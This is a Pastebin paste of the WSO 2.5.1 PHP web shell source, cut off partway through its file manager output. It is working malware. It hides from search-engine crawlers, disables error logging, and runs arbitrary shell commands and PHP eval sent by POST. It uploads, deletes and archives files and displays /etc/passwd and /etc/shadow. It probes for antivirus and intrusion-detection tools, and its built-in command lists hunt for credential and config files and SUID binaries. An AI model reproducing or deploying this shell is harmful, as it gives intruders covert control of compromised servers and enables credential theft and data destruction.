Guest User

Untitled

a guest
Apr 21st, 2018
65
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. $color = "#df5";
  4. $default_action = 'FilesMan';
  5. $default_use_ajax = true;
  6. $default_charset = 'Windows-1251';
  7.  
  8. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  9. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  10. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  11. header('HTTP/1.0 404 Not Found');
  12. exit;
  13. }
  14. }
  15.  
  16. @ini_set('error_log',NULL);
  17. @ini_set('log_errors',0);
  18. @ini_set('max_execution_time',0);
  19. @set_time_limit(0);
  20. @set_magic_quotes_runtime(0);
  21. @define('WSO_VERSION', '2.5.1');
  22. if(get_magic_quotes_gpc()) {
  23. function WSOstripslashes($array) {
  24. return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  25. }
  26. $_POST = WSOstripslashes($_POST);
  27. $_COOKIE = WSOstripslashes($_COOKIE);
  28. }
  29.  
  30. function wsoLogin() {
  31. die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  32. }
  33.  
  34. function WSOsetcookie($k, $v) {
  35. $_COOKIE[$k] = $v;
  36. setcookie($k, $v);
  37. }
  38.  
  39. if(!empty($auth_pass)) {
  40. if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  41. WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  42.  
  43. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  44. wsoLogin();
  45. }
  46.  
  47. if(strtolower(substr(PHP_OS,0,3)) == "win")
  48. $os = 'win';
  49. else
  50. $os = 'nix';
  51.  
  52. $safe_mode = @ini_get('safe_mode');
  53. if(!$safe_mode)
  54. error_reporting(0);
  55.  
  56. $disable_functions = @ini_get('disable_functions');
  57. $home_cwd = @getcwd();
  58. if(isset($_POST['c']))
  59. @chdir($_POST['c']);
  60. $cwd = @getcwd();
  61. if($os == 'win') {
  62. $home_cwd = str_replace("\\", "/", $home_cwd);
  63. $cwd = str_replace("\\", "/", $cwd);
  64. }
  65. if($cwd[strlen($cwd)-1] != '/')
  66. $cwd .= '/';
  67.  
  68. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  69. $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  70.  
  71. if($os == 'win')
  72. $aliases = array(
  73. "List Directory" => "dir",
  74. "Find index.php in current dir" => "dir /s /w /b index.php",
  75. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  76. "Show active connections" => "netstat -an",
  77. "Show running services" => "net start",
  78. "User accounts" => "net user",
  79. "Show computers" => "net view",
  80. "ARP Table" => "arp -a",
  81. "IP Configuration" => "ipconfig /all"
  82. );
  83. else
  84. $aliases = array(
  85. "List dir" => "ls -lha",
  86. "list file attributes on a Linux second extended file system" => "lsattr -va",
  87. "show opened ports" => "netstat -an | grep -i listen",
  88. "process status" => "ps aux",
  89. "Find" => "",
  90. "find suid" => "find / -type f -perm -04000 -ls",
  91. "find suid in current dir" => "find . -type f -perm -04000 -ls",
  92. "find sgid" => "find / -type f -perm -02000 -ls",
  93. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  94. "find config.inc.php" => "find / -type f -name config.inc.php",
  95. "find config*" => "find / -type f -name \"config*\"",
  96. "find config* in current dir" => "find . -type f -name \"config*\"",
  97. "find writable folders and files" => "find / -perm -2 -ls",
  98. "find writable folders and files in current dir" => "find . -perm -2 -ls",
  99. "find service.pwd" => "find / -type f -name service.pwd",
  100. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  101. "find .htpasswd" => "find / -type f -name .htpasswd",
  102. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  103. "find .bash_history" => "find / -type f -name .bash_history",
  104. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  105. "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
  106. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  107. "Locate" => "",
  108. "locate httpd.conf" => "locate httpd.conf",
  109. "locate vhosts.conf" => "locate vhosts.conf",
  110. "locate proftpd.conf" => "locate proftpd.conf",
  111. "locate psybnc.conf" => "locate psybnc.conf",
  112. "locate my.conf" => "locate my.conf",
  113. "locate admin.php" =>"locate admin.php",
  114. "locate cfg.php" => "locate cfg.php",
  115. "locate conf.php" => "locate conf.php",
  116. "locate config.dat" => "locate config.dat",
  117. "locate config.php" => "locate config.php",
  118. "locate config.inc" => "locate config.inc",
  119. "locate config.inc.php" => "locate config.inc.php",
  120. "locate config.default.php" => "locate config.default.php",
  121. "locate config*" => "locate config",
  122. "locate .conf"=>"locate '.conf'",
  123. "locate .pwd" => "locate '.pwd'",
  124. "locate .sql" => "locate '.sql'",
  125. "locate .htpasswd" => "locate '.htpasswd'",
  126. "locate .bash_history" => "locate '.bash_history'",
  127. "locate .mysql_history" => "locate '.mysql_history'",
  128. "locate .fetchmailrc" => "locate '.fetchmailrc'",
  129. "locate backup" => "locate backup",
  130. "locate dump" => "locate dump",
  131. "locate priv" => "locate priv"
  132. );
  133.  
  134. function wsoHeader() {
  135. if(empty($_POST['charset']))
  136. $_POST['charset'] = $GLOBALS['default_charset'];
  137. global $color;
  138. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  139. <style>
  140. body{background-color:#444;color:#e1e1e1;}
  141. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  142. table.info{ color:#fff;background-color:#222; }
  143. span,h1,a{ color: $color !important; }
  144. span{ font-weight: bolder; }
  145. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  146. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  147. a{ text-decoration:none; }
  148. a:hover{ text-decoration:underline; }
  149. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  150. .bigarea{ width:100%;height:300px; }
  151. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  152. form{ margin:0px; }
  153. #toolsTbl{ text-align:center; }
  154. .toolsInp{ width: 300px }
  155. .main th{text-align:left;background-color:#5e5e5e;}
  156. .main tr:hover{background-color:#5e5e5e}
  157. .l1{background-color:#444}
  158. .l2{background-color:#333}
  159. pre{font-family:Courier,Monospace;}
  160. </style>
  161. <script>
  162. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  163. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  164. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  165. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  166. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  167. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  168. var d = document;
  169. function set(a,c,p1,p2,p3,charset) {
  170. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  171. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  172. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  173. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  174. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  175. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  176. }
  177. function g(a,c,p1,p2,p3,charset) {
  178. set(a,c,p1,p2,p3,charset);
  179. d.mf.submit();
  180. }
  181. function a(a,c,p1,p2,p3,charset) {
  182. set(a,c,p1,p2,p3,charset);
  183. var params = 'ajax=true';
  184. for(i=0;i<d.mf.elements.length;i++)
  185. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  186. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  187. }
  188. function sr(url, params) {
  189. if (window.XMLHttpRequest)
  190. req = new XMLHttpRequest();
  191. else if (window.ActiveXObject)
  192. req = new ActiveXObject('Microsoft.XMLHTTP');
  193. if (req) {
  194. req.onreadystatechange = processReqChange;
  195. req.open('POST', url, true);
  196. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  197. req.send(params);
  198. }
  199. }
  200. function processReqChange() {
  201. if( (req.readyState == 4) )
  202. if(req.status == 200) {
  203. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  204. var arr=reg.exec(req.responseText);
  205. eval(arr[2].substr(0, arr[1]));
  206. } else alert('Request error!');
  207. }
  208. </script>
  209. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  210. <form method=post name=mf style='display:none;'>
  211. <input type=hidden name=a>
  212. <input type=hidden name=c>
  213. <input type=hidden name=p1>
  214. <input type=hidden name=p2>
  215. <input type=hidden name=p3>
  216. <input type=hidden name=charset>
  217. </form>";
  218. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  219. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  220. $totalSpace = $totalSpace?$totalSpace:1;
  221. $release = @php_uname('r');
  222. $kernel = @php_uname('s');
  223. $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  224. if(strpos('Linux', $kernel) !== false)
  225. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  226. else
  227. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  228. if(!function_exists('posix_getegid')) {
  229. $user = @get_current_user();
  230. $uid = @getmyuid();
  231. $gid = @getmygid();
  232. $group = "?";
  233. } else {
  234. $uid = @posix_getpwuid(posix_geteuid());
  235. $gid = @posix_getgrgid(posix_getegid());
  236. $user = $uid['name'];
  237. $uid = $uid['uid'];
  238. $group = $gid['name'];
  239. $gid = $gid['gid'];
  240. }
  241.  
  242. $cwd_links = '';
  243. $path = explode("/", $GLOBALS['cwd']);
  244. $n=count($path);
  245. for($i=0; $i<$n-1; $i++) {
  246. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  247. for($j=0; $j<=$i; $j++)
  248. $cwd_links .= $path[$j].'/';
  249. $cwd_links .= "\")'>".$path[$i]."/</a>";
  250. }
  251.  
  252. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  253. $opt_charsets = '';
  254. foreach($charsets as $item)
  255. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  256.  
  257. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  258. if(!empty($GLOBALS['auth_pass']))
  259. $m['Logout'] = 'Logout';
  260. $m['Self remove'] = 'SelfRemove';
  261. $menu = '';
  262. foreach($m as $k => $v)
  263. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  264.  
  265. $drives = "";
  266. if($GLOBALS['os'] == 'win') {
  267. foreach(range('c','z') as $drive)
  268. if(is_dir($drive.':\\'))
  269. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  270. }
  271. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  272. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
  273. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  274. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  275. . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  276. }
  277.  
  278. function wsoFooter() {
  279. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  280. echo "
  281. </div>
  282. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  283. <tr>
  284. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  285. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  286. </tr><tr>
  287. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  288. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  289. </tr><tr>
  290. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  291. <td><form method='post' ENCTYPE='multipart/form-data'>
  292. <input type=hidden name=a value='FilesMAn'>
  293. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  294. <input type=hidden name=p1 value='uploadFile'>
  295. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  296. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
  297. </tr></table></div></body></html>";
  298. }
  299.  
  300. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  301. function posix_getpwuid($p) {return false;} }
  302. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  303. function posix_getgrgid($p) {return false;} }
  304.  
  305. function wsoEx($in) {
  306. $out = '';
  307. if (function_exists('exec')) {
  308. @exec($in,$out);
  309. $out = @join("\n",$out);
  310. } elseif (function_exists('passthru')) {
  311. ob_start();
  312. @passthru($in);
  313. $out = ob_get_clean();
  314. } elseif (function_exists('system')) {
  315. ob_start();
  316. @system($in);
  317. $out = ob_get_clean();
  318. } elseif (function_exists('shell_exec')) {
  319. $out = shell_exec($in);
  320. } elseif (is_resource($f = @popen($in,"r"))) {
  321. $out = "";
  322. while(!@feof($f))
  323. $out .= fread($f,1024);
  324. pclose($f);
  325. }
  326. return $out;
  327. }
  328.  
  329. function wsoViewSize($s) {
  330. if (is_int($s))
  331. $s = sprintf("%u", $s);
  332.  
  333. if($s >= 1073741824)
  334. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  335. elseif($s >= 1048576)
  336. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  337. elseif($s >= 1024)
  338. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  339. else
  340. return $s . ' B';
  341. }
  342.  
  343. function wsoPerms($p) {
  344. if (($p & 0xC000) == 0xC000)$i = 's';
  345. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  346. elseif (($p & 0x8000) == 0x8000)$i = '-';
  347. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  348. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  349. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  350. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  351. else $i = 'u';
  352. $i .= (($p & 0x0100) ? 'r' : '-');
  353. $i .= (($p & 0x0080) ? 'w' : '-');
  354. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  355. $i .= (($p & 0x0020) ? 'r' : '-');
  356. $i .= (($p & 0x0010) ? 'w' : '-');
  357. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  358. $i .= (($p & 0x0004) ? 'r' : '-');
  359. $i .= (($p & 0x0002) ? 'w' : '-');
  360. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  361. return $i;
  362. }
  363.  
  364. function wsoPermsColor($f) {
  365. if (!@is_readable($f))
  366. return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  367. elseif (!@is_writable($f))
  368. return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  369. else
  370. return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  371. }
  372.  
  373. function wsoScandir($dir) {
  374. if(function_exists("scandir")) {
  375. return scandir($dir);
  376. } else {
  377. $dh = opendir($dir);
  378. while (false !== ($filename = readdir($dh)))
  379. $files[] = $filename;
  380. return $files;
  381. }
  382. }
  383.  
  384. function wsoWhich($p) {
  385. $path = wsoEx('which ' . $p);
  386. if(!empty($path))
  387. return $path;
  388. return false;
  389. }
  390.  
  391. function actionSecInfo() {
  392. wsoHeader();
  393. echo '<h1>Server security information</h1><div class=content>';
  394. function wsoSecParam($n, $v) {
  395. $v = trim($v);
  396. if($v) {
  397. echo '<span>' . $n . ': </span>';
  398. if(strpos($v, "\n") === false)
  399. echo $v . '<br>';
  400. else
  401. echo '<pre class=ml1>' . $v . '</pre>';
  402. }
  403. }
  404.  
  405. wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  406. if(function_exists('apache_get_modules'))
  407. wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  408. wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  409. wsoSecParam('Open base dir', @ini_get('open_basedir'));
  410. wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  411. wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  412. wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  413. $temp=array();
  414. if(function_exists('mysql_get_client_info'))
  415. $temp[] = "MySql (".mysql_get_client_info().")";
  416. if(function_exists('mssql_connect'))
  417. $temp[] = "MSSQL";
  418. if(function_exists('pg_connect'))
  419. $temp[] = "PostgreSQL";
  420. if(function_exists('oci_connect'))
  421. $temp[] = "Oracle";
  422. wsoSecParam('Supported databases', implode(', ', $temp));
  423. echo '<br>';
  424.  
  425. if($GLOBALS['os'] == 'nix') {
  426. wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  427. wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  428. wsoSecParam('OS version', @file_get_contents('/proc/version'));
  429. wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  430. if(!$GLOBALS['safe_mode']) {
  431. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  432. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  433. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  434. echo '<br>';
  435. $temp=array();
  436. foreach ($userful as $item)
  437. if(wsoWhich($item))
  438. $temp[] = $item;
  439. wsoSecParam('Userful', implode(', ',$temp));
  440. $temp=array();
  441. foreach ($danger as $item)
  442. if(wsoWhich($item))
  443. $temp[] = $item;
  444. wsoSecParam('Danger', implode(', ',$temp));
  445. $temp=array();
  446. foreach ($downloaders as $item)
  447. if(wsoWhich($item))
  448. $temp[] = $item;
  449. wsoSecParam('Downloaders', implode(', ',$temp));
  450. echo '<br/>';
  451. wsoSecParam('HDD space', wsoEx('df -h'));
  452. wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  453. echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  454. if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
  455. $temp = "";
  456. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  457. $uid = @posix_getpwuid($_POST['p2']);
  458. if ($uid)
  459. $temp .= join(':',$uid)."\n";
  460. }
  461. echo '<br/>';
  462. wsoSecParam('Users', $temp);
  463. }
  464. }
  465. } else {
  466. wsoSecParam('OS Version',wsoEx('ver'));
  467. wsoSecParam('Account Settings',wsoEx('net accounts'));
  468. wsoSecParam('User Accounts',wsoEx('net user'));
  469. }
  470. echo '</div>';
  471. wsoFooter();
  472. }
  473.  
  474. function actionPhp() {
  475. if(isset($_POST['ajax'])) {
  476. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  477. ob_start();
  478. eval($_POST['p1']);
  479. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  480. echo strlen($temp), "\n", $temp;
  481. exit;
  482. }
  483. if(empty($_POST['ajax']) && !empty($_POST['p1']))
  484. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  485.  
  486. wsoHeader();
  487. if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  488. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  489. ob_start();
  490. phpinfo();
  491. $tmp = ob_get_clean();
  492. $tmp = preg_replace(array (
  493. '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
  494. '!td, th {(.*)}!msiU',
  495. '!<img[^>]+>!msiU',
  496. ), array (
  497. '',
  498. '.e, .v, .h, .h th {$1}',
  499. ''
  500. ), $tmp);
  501. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  502. }
  503. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  504. echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  505. if(!empty($_POST['p1'])) {
  506. ob_start();
  507. eval($_POST['p1']);
  508. echo htmlspecialchars(ob_get_clean());
  509. }
  510. echo '</pre></div>';
  511. wsoFooter();
  512. }
  513.  
  514. function actionFilesMan() {
  515. if (!empty ($_COOKIE['f']))
  516. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  517.  
  518. if(!empty($_POST['p1'])) {
  519. switch($_POST['p1']) {
  520. case 'uploadFile':
  521. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  522. echo "Can't upload!";
  523. break;
  524. case 'mkdir':
  525. if(!@mkdir($_POST['p2']))
  526. echo "Can't create!";
  527. break;
  528. case 'delete':
  529. function deleteDir($path) {
  530. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  531. $dh = opendir($path);
  532. while ( ($item = readdir($dh) ) !== false) {
  533. $item = $path.$item;
  534. if ( (basename($item) == "..") || (basename($item) == ".") )
  535. continue;
  536. $type = filetype($item);
  537. if ($type == "dir")
  538. deleteDir($item);
  539. else
  540. @unlink($item);
  541. }
  542. closedir($dh);
  543. @rmdir($path);
  544. }
  545. if(is_array(@$_POST['f']))
  546. foreach($_POST['f'] as $f) {
  547. if($f == '..')
  548. continue;
  549. $f = urldecode($f);
  550. if(is_dir($f))
  551. deleteDir($f);
  552. else
  553. @unlink($f);
  554. }
  555. break;
  556. case 'paste':
  557. if($_COOKIE['act'] == 'copy') {
  558. function copy_paste($c,$s,$d){
  559. if(is_dir($c.$s)){
  560. mkdir($d.$s);
  561. $h = @opendir($c.$s);
  562. while (($f = @readdir($h)) !== false)
  563. if (($f != ".") and ($f != ".."))
  564. copy_paste($c.$s.'/',$f, $d.$s.'/');
  565. } elseif(is_file($c.$s))
  566. @copy($c.$s, $d.$s);
  567. }
  568. foreach($_COOKIE['f'] as $f)
  569. copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  570. } elseif($_COOKIE['act'] == 'move') {
  571. function move_paste($c,$s,$d){
  572. if(is_dir($c.$s)){
  573. mkdir($d.$s);
  574. $h = @opendir($c.$s);
  575. while (($f = @readdir($h)) !== false)
  576. if (($f != ".") and ($f != ".."))
  577. copy_paste($c.$s.'/',$f, $d.$s.'/');
  578. } elseif(@is_file($c.$s))
  579. @copy($c.$s, $d.$s);
  580. }
  581. foreach($_COOKIE['f'] as $f)
  582. @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  583. } elseif($_COOKIE['act'] == 'zip') {
  584. if(class_exists('ZipArchive')) {
  585. $zip = new ZipArchive();
  586. if ($zip->open($_POST['p2'], 1)) {
  587. chdir($_COOKIE['c']);
  588. foreach($_COOKIE['f'] as $f) {
  589. if($f == '..')
  590. continue;
  591. if(@is_file($_COOKIE['c'].$f))
  592. $zip->addFile($_COOKIE['c'].$f, $f);
  593. elseif(@is_dir($_COOKIE['c'].$f)) {
  594. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  595. foreach ($iterator as $key=>$value) {
  596. $zip->addFile(realpath($key), $key);
  597. }
  598. }
  599. }
  600. chdir($GLOBALS['cwd']);
  601. $zip->close();
  602. }
  603. }
  604. } elseif($_COOKIE['act'] == 'unzip') {
  605. if(class_exists('ZipArchive')) {
  606. $zip = new ZipArchive();
  607. foreach($_COOKIE['f'] as $f) {
  608. if($zip->open($_COOKIE['c'].$f)) {
  609. $zip->extractTo($GLOBALS['cwd']);
  610. $zip->close();
  611. }
  612. }
  613. }
  614. } elseif($_COOKIE['act'] == 'tar') {
  615. chdir($_COOKIE['c']);
  616. $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  617. wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  618. chdir($GLOBALS['cwd']);
  619. }
  620. unset($_COOKIE['f']);
  621. setcookie('f', '', time() - 3600);
  622. break;
  623. default:
  624. if(!empty($_POST['p1'])) {
  625. WSOsetcookie('act', $_POST['p1']);
  626. WSOsetcookie('f', serialize(@$_POST['f']));
  627. WSOsetcookie('c', @$_POST['c']);
  628. }
  629. break;
  630. }
  631. }
  632. wsoHeader();
  633. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  634. $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  635. if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  636. global $sort;
  637. $sort = array('name', 1);
  638. if(!empty($_POST['p1'])) {
  639. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  640. $sort = array($match[1], (int)$match[2]);
  641. }
  642. echo "<script>
  643. function sa() {
  644. for(i=0;i<d.files.elements.length;i++)
  645. if(d.files.elements[i].type == 'checkbox')
  646. d.files.elements[i].checked = d.files.elements[0].checked;
  647. }
  648. </script>
  649. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
